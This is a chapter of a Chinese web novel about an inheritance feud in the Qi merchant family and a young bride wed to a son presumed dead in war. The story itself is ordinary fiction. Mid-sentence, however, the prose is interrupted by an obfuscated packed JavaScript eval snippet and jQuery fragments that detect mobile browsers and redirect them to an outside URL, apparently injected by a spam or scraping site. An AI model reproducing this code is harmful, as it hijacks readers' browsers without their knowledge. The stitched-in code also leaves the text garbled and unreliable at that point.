“桓郎，不早了，快喝口参汤润润，早些歇息吧。”
深夜，祈桓仍留在书房里，外面已打了三更。凤氏心疼郎君，亲手炖了参汤来探望，祈桓只瞥了一眼，示意她将参汤放下。
祈桓侧过身去，拿起一本药书在烛灯下看，却良久都不翻一页。
凤氏心疼，小声安慰道：“桓郎，事已至此，咱就再等等，静观其变吧。”
祈桓听了，顿觉胸中一股瘴气涌上脑门，“砰”的一声，将书卷砸在书案上。
“你也是，那沈氏竟然拿只公鸡出来糊弄我们，你也不晓得多说两句阻止！真是荒谬……我大哥素来体弱，生育能力也弱，就得这么一个独子，如今也重病缠身，这可是我夺回祈家产业的大好机会啊！谁能料到那沈氏，竟搞出这么一出……若这新妇有了身孕，将来生下一男半女，我这半生心血，可就要尽付东流了！”
凤氏却不以为然，劝说道：“桓郎，你多虑了吧……那祈楚如今可是重病，连床都下不得的，他这一时半会儿，也……也不可能让那新妇怀孕吧？”
“那又如何？”祈桓拂袖道，“若我那大侄子没有娶亲，我便还有理由，要求宗族耆老将产业交给我，他父子俩如今皆是病重，指不定这事儿就成了！可沈氏这么一操办，大哥家有望后继有人，我还有什么理由去要呢！”
凤氏沉默了片刻，大嫂嫂这么一出，的确有了继续把持祈家产业的正当理由。
“可我总觉得哪里怪得很。”凤氏说，“我那大侄子，不是三年前来信说，去了北方秦起大将军的队伍当了个大头兵……怎的前段时间突然又回来了，还总说病重避而不见呢？”
“难道我不知道有问题吗？”祈桓冷哼道，“可沈氏将口风关得紧，一丝风都透不出来，祈楚如今究竟是死是活，谁能知道，谁又能验证呢？”
“总归……是有办法的吧？”
祈桓没有回答，重新拿起书，却烦躁地将书一掷：“罢了，你快回去休息吧，我自会安置！”
凤氏心中泛起委屈：“桓郎难道……又要去那狐媚子处安置吗？”
可如今祈桓心烦意乱，除了辛云娘的香云窝，怕是无处慰藉。
如今被凤氏说中，他心虚，却只能嘴上逞强：“你瞧你那样子，哪有半分当家主母的度量？做女人，岂能像你如此善妒！你快回去吧，别在这杵着了，我看着更闹心！”
凤氏双眼一红，转身呜咽着快步跑开了。跑出书房门外，却见自己儿子——祈家二房的嫡长子祈嵩，带着名小厮等候在廊下。
自打从大房的婚宴上回来，爹爹就将自己关在书房，对谁都没句好声气。凤氏作为大娘子，自然要前来安抚，可祈嵩知道爹爹的脾性，害怕他为难娘亲，便担忧地等在门外。
果不其然，凤氏还是哭着出来了。
“……嵩儿？你、你怎在这儿站着？”凤氏转头飞快拭去泪水，又忙拉起儿子的手说，“快别去打扰你爹爹了，他最近事多冗杂，别让他再替你操心了。”
祈嵩皱着眉头：“爹爹他又惹您哭了？”
凤氏鼻子一酸，强忍着泪笑了笑：“瞎说，我只是困了，眼睛酸涩……不说了，嵩儿，送母亲回房去吧。”
“送到了？”
清晨，祈家大娘子沈氏正坐在镜前，在秦妈妈的服侍下，戴上钗环首饰。她端详着铜镜中的自己，不过区区一月不到，她却感觉自己老了好几岁。
秦妈妈一面给沈氏递钗环，一面小声说道：“送到了，小娘子已经在别院住下，奴婢是看着她安顿下来才走的。”
“唉……可惜了这柒家姑娘，身世本就可怜，如今却要独守孤坟，还未尝过滋味，便要守一辈子寡……可如果我楚儿不遭此横祸，她这样的出身修养，也不可能进得了我祈家的门。”
沈氏不由地叹了口气。
想起自己怀胎十月、辛苦三日才生下的儿子祈楚，真真是玉一般的人儿。等儿子大了，识字练武，虽顽皮了些，却也是天资聪慧，少年才俊。
“我早就知道，我家楚郎，与那平凉城司户家的薛宛情投意合，原本，我也有意成了这个美事。只可惜如今这情况，若是司户家，绝不肯让女儿遭此大罪，唉……也算是有缘无分吧。”
所谓儿大不中留。
三年前，祈楚不过十六，浑身少年意气。他最后一次回家，便是告知父母自己参了军，要去秦起大将军的队伍，到北方抗击铁厥。三年以来，做母亲的整日担惊受怕，却还是收到了噩耗——
祈楚战死沙场，送回来的，只有他带血的战甲，和父亲亲手送给他的玉珏。
祈家如今摇摇欲坠，沈氏才不得不强掩伤痛，将此事力压下来。给儿子筹划婚事前，沈氏特意去山庄拜见了老太太，痛诉郎君的不幸，儿子的早夭，以及其他几房的虎视眈眈，她走投无路，只求老太太能替她拿个主意。
老太太听说儿子中箭，原本着急想要回去，听到这些，又双腿一软，跌坐下去。
可到底是瞧过风浪的人，老太太很快镇定下来，不徐不慢，将解困的法子告诉沈氏，并让她自己拿主意——可以说，若没有老太太在背后支撑，沈氏绝难将此事办成。
一步一步，如履薄冰。
钗环妆好，秦妈妈扶沈氏起身，说道：“我瞧柒小娘子也不差，出身虽贫了些，可论品貌，也勉强配得上咱们小郎君。”
沈氏冷笑一声：“我也是瞧她生得还算端正，可惜是个粗俗的，没读过几天书，说话净是口无遮拦。我们祈家好歹被称为‘儒商’，虽是商贾出身，诗书却也不落旁人，若我楚儿托梦给我，怕是要怪罪我这为娘的了。”
见沈氏说着又要伤感，秦妈妈忙宽慰道：“大娘子，你就别难过了，当心自己的身子。”
正说着，一名丫鬟匆匆前来：“大娘子，主君已经醒了，要大娘子过去说话呢！”
床榻上，祈铄已经醒来，正在丫鬟的服侍下喝着汤药。沈氏一见郎君已然能坐起来说话，一时间激动得热泪盈眶，忙扑向床边夺下汤药亲自服侍。
祈铄喝了两口苦汤，便摇头摆手不愿再喝：“瑛娘，我听人说，你竟在我昏睡之时，替我儿娶亲了？究竟怎么回事，楚儿不是在战场上吗，怎么回来了？”
“楚儿他……”沈氏顿了顿，才说道，“楚儿受伤了，又在北方受了寒气，所以……”
“什么？楚儿受伤了？”
祈铄激动难抑，一股腥甜上涌，随即惊天动地大咳一通，吓得沈氏脸色苍白。祈铄还未咳完，便执意要下床：“快……我要见见楚儿……他究竟伤势如何！”
沈氏好不容易才将祈铄安抚下来，只说他身体也不好，原本就有心疾，如今又当心口中了一箭，断不可再过了病气。
沈氏哀伤又难以表露，只能勉强找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527182|203563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些理由劝说：“原本替楚儿娶妻，也是无奈之举，我也是想着，能为我祈家冲冲喜气……无论如何，如今楚儿有了正妻，这心也能定下来了，有娘子照顾，他兴许也能好得快些……”
祈铄沉默了片刻，终于又躺回床榻上。
沈氏刚要松口气，祈铄又说道：“你替楚儿求了哪家姑娘？罢了，我如今也好多了，今日晚些时间，就让新妇来拜见吧。无论哪家姑娘进了我祈家的门，我们都得好好对待人家——瑛娘，你虽当了婆母，也万不可苛待儿媳妇。”
“可儿媳妇她……”沈氏为难了。
“怎的，我这副病躯，连新妇也见不得了？”
“铄郎，你这是说的什么话。”沈氏只得应承下来，对秦妈妈吩咐道，“今日晚饭后，让小娘子来拜见公爹。”
小厮将话带去别院的时候，柒奺正盘腿坐在那座气派的汉白玉坟墓前，一边烧纸钱，一边愤懑地骂着：
“好啊，你们祈家还敢称自己是‘儒商’，我呸！我原本还想着，你长得像骡子像马还像鸡，我柒奺都认了，没想到你啊……你这，上圆下方，中间还竖个牌儿！我现在可是王八钻火坑——憋气还带火了我……我、我柒奺这辈子，算毁在你这石墩子手上了！”
瓶儿正在石阶下拾掇青菜，听柒奺这么说，也只能唉声叹气：“娘子，你都骂了两三个时辰不带重样儿的了……我这听着都累，快喝口水歇歇吧。”
“两三个时辰？我看我得天天骂、时时骂，要是能把这死鬼骂得从坟里爬起来才好呢！”
柒奺往火盆里扔完最后的纸钱，起身走到廊下，一屁股坐在石阶上。
打眼望去，这宅子虽修得气派，却偏僻破旧，平日里不说人，连只鸟儿都懒得落脚。她和瓶儿两个姑娘住在这里，倒像是被放逐了，食宿全凭自理，又没有自由，鸟兽虫鱼样样都比她们活得潇洒自在。
“唉……本以为娘子你苦尽甘来，没想到……”瓶儿住了嘴，换了个话题，“不过娘子，你说，郎君他能听到吗？会不会大半夜的变成鬼，来找我们索命？”
瓶儿说着，脸色瞬间变得煞白。
柒奺却冷笑道：“他若是敢来，我定让他回去时脸比牛头还肿、比马面还长，叫黑白无常也直呼见鬼了！”
“娘子倒是个胆大的。”瓶儿笑笑，问柒奺，“可……这往后，娘子你该怎么办？”
“我出阁前，还与滢儿约好了，回门时要带点心给她，也不知道爷爷的病情好转了些没……”柒奺出了口恶气，心情倒是松快了许多，“罢了，还能怎么办，这里有吃有住，也比外头强些，姑且走一步看一步吧，倒是委屈你了，瓶儿。”
“瓶儿不委屈。瓶儿能跟娘子在一块，一点儿也不觉得委屈。”
主仆俩执手，相视一笑。
柒奺倒是爽快了，房檐上伏着的两个人影，却忍不住同时打了个哆嗦。两人慢慢将身体放下去，翻身躺在瓦楞上，长长抒了口气。
“嘶——我咋听着这么渗人呢……”一袭黑衣的平南山，用大手搓了搓两条胳膊，“楚兄，你老娘不是给你娶了个娘子，这是娶了个阎王啊！”
平南山用双手死死捂住嘴，“咯咯咯”笑得好似公鸡打嗝。
祈楚呼地一坐而起，把好端端的发髻搓成了鸡窝：
“我不过耽搁了几日，这就……真是荒谬！实在是荒天下之大谬！”